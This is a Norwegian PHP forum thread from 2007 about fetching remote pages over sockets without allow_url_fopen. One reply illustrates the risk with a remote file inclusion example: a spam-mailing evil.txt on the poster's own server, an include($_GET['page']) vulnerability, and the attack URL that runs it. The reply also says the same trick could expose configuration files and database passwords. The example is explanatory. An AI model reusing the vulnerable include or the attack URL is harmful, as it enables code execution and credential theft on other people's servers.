lilfire Skrevet 25. oktober 2007 Forfatter Del Skrevet 25. oktober 2007 Å hente ut en side fra en http-server uten allow_url_fopen er ikke videre trivielt, så snille meg har skrevet litt kode som bruker socket som bør fungere uavhengig av hva php.ini er satt til. Viktig å merke seg at $file-parameteren må være fra rota og fremover. Den kan være inkludert query-string aka f.eks fil.php?a=b <?php function getPage($host, $file, $port=80) { $socket = fsockopen($host, $port); if ($socket === false) return false; else { $request = "GET /$file HTTP/1.0\r\n"; $request.= "Host: $host\r\n"; $request.= "Content-Type: text/html\r\n"; $request.= "Connection: Close\r\n\r\n"; fwrite($socket, $request); $data = ''; $found = false; while (feof($socket) === true) { if ($found === false) { //Looking for first empty line. Everything after that is data // according to the HTTP protocol $line = fgets($socket); if (strcmp("\r\n", $line) === 0) $found = true; } else $data .= fgets($socket); } fclose($socket); return $data; } } echo getPage('www.diskusjon.no', 'index.php'); ?> btw det hjalp ikke å sett ini_set('allow_url_fopen', 1);. kunnejo sett i selve php.ini fila men har ikke peiling på hvor den ligger på servern da... Kommer helt an på serveren din. Kjører du Linux ligger den i /etc/php5/apache2/ Kjører du windows ligger den der du har installert PHP. Normalt er det vel /etc/php.ini Red.: Fikset litt på indenteringen i koden. Red.2: Byttet om på parameterene og la til default 80 på $port. Red.3: Liten clean-up i kodestilen. Red.4: fclose er kanskje ikke så dumt? Det funket ikke med det scriptet der heller.... må nok bruke iframes. har vært i kontakt med kundeservice hos hosten min da, og jeg har ikke tilgang til å redigere php.ini fila. og de ville ikke sette allow_url_fopen til enabel. da dette utgjør en stor sikkerhetsrisiko sa de.. er dette så stor sikkerhetsrisko? Lenke til kommentar
Ernie Skrevet 25. oktober 2007 Del Skrevet 25. oktober 2007 Heh ... det var jo ikke så rart <?php function getPage($host, $file, $port=80) { $socket = fsockopen($host, $port); if ($socket === false) return false; else { $request = "GET /$file HTTP/1.0\r\n"; $request.= "Host: $host\r\n"; $request.= "Content-Type: text/html\r\n"; $request.= "Connection: Close\r\n\r\n"; fwrite($socket, $request); $data = ''; $found = false; while (feof($socket) === false) { if ($found === false) { //Looking for first empty line. Everything after that is data // according to the HTTP protocol $line = fgets($socket); if (strcmp("\r\n", $line) === 0) $found = true; } else $data .= fgets($socket); } fclose($socket); return $data; } } echo getPage('www.diskusjon.no', 'index.php'); ?> Nå skal det fungere Lenke til kommentar
ZoRaC Skrevet 25. oktober 2007 Del Skrevet 25. oktober 2007 må nok bruke iframes. har vært i kontakt med kundeservice hos hosten min da, og jeg har ikke tilgang til å redigere php.ini fila. og de ville ikke sette allow_url_fopen til enabel. da dette utgjør en stor sikkerhetsrisiko sa de.. er dette så stor sikkerhetsrisko? Ja... Se for det evil.txt som jeg legger på minserver.no: <?php for (i = 0; i < 100000; i++) { mail("[email protected]", "SPAM", "SPAM"); } ?> Så har du dette i index.php på dinserver.no: <?php include ($_GET['page']); ?> Da kan jeg kjøre "dinserver.no?page=http://minserver.no/evil.txt" og denne vil sende 100000 mailer fra din server. Dette er bare et eksempel på hva jeg kan gjøre, jeg kan jo og f.eks få den til å vise innholdet i config.inc.php, eller lignende filer på din server (og dermed få tak i passord til database, o.l). Lenke til kommentar
lilfire Skrevet 25. oktober 2007 Forfatter Del Skrevet 25. oktober 2007 @Ernie Det fungerte. kjempe fint.. lurer bare på en ting til ang dette.. går det ann (med det scriptet ditt) å includere en av sidene som ligger i en under mappe. feks: www.enside.com/mappe/index.php @ZoRaC Okey da skjønner jeg at det utgjør en stor risiko. Lenke til kommentar
Ernie Skrevet 25. oktober 2007 Del Skrevet 25. oktober 2007 @Ernie Det fungerte. kjempe fint.. lurer bare på en ting til ang dette.. går det ann (med det scriptet ditt) å includere en av sidene som ligger i en under mappe. feks: www.enside.com/mappe/index.php Jepp, alt etter www.domene.no/ i en hvilken som helst URL kjører du inn som $file. I ditt eksempel blir det da mappe/index.php. Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå